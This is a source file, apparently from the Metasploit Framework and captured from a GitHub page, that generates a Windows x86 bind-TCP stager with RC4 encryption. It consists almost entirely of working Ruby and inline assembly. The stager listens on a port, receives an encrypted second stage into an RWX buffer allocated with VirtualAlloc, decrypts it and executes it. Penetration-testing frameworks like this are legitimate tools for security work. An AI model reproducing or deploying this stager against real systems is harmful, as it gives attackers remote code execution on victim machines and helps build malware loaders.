-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
bind_tcp_rc4.rb
153 lines (135 loc) · 4.76 KB
/
bind_tcp_rc4.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# -*- coding: binary -*-
module Msf
###
#
# Complex bind_tcp_rc4 payload generation for Windows ARCH_X86
#
###
module Payload::Windows::BindTcpRc4
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::BindTcp
include Msf::Payload::Windows::Rc4
#
# Generate the first stage
#
def generate(_opts = {})
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],
xorkey: xorkey,
rc4key: rc4key,
reliable: false
}
# Generate the more advanced stager if we have the space
if self.available_space && cached_size && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_bind_tcp_rc4(conf)
end
#
# Generate and compile the stager
#
def generate_bind_tcp_rc4(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_bind_tcp(opts)}
#{asm_block_recv_rc4(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
def asm_block_recv_rc4(opts={})
xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
reliable = opts[:reliable]
asm = %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^
# Check for a failed recv() call
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
xor esi, #{xorkey} ; XOR the stage length
lea ecx, [esi+0x100] ; ECX = stage length + S-box length (alloc length)
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
; push esi ; push the newly recieved second stage length.
push ecx ; push the alloc length
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box
lea ebx, [eax+0x100] ; EBX = new stage address
push ebx ; push the address of the new stage so we can return into it
push esi ; push stage length
push eax ; push the address of the S-box
read_more: ;
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^
# Check for a failed recv() call
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received
; test esi, esi ; test length
jnz read_more ; continue if we have more to read
pop ebx ; address of S-box
pop ecx ; stage length
pop ebp ; address of stage
push ebp ; push back so we can return into it
push edi ; save socket
mov edi, ebx ; address of S-box
call after_key ; Call after_key, this pushes the address of the key onto the stack.
db #{raw_to_db(opts[:rc4key])}
after_key:
pop esi ; ESI = RC4 key
#{asm_decrypt_rc4}
pop edi ; restore socket
ret ; return into the second stage
^
if reliable
if opts[:exitfunk]
asm << %Q^
failure:
^
asm << asm_exitfunk(opts)
else
asm << %Q^
failure:
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
end
asm
end
end
end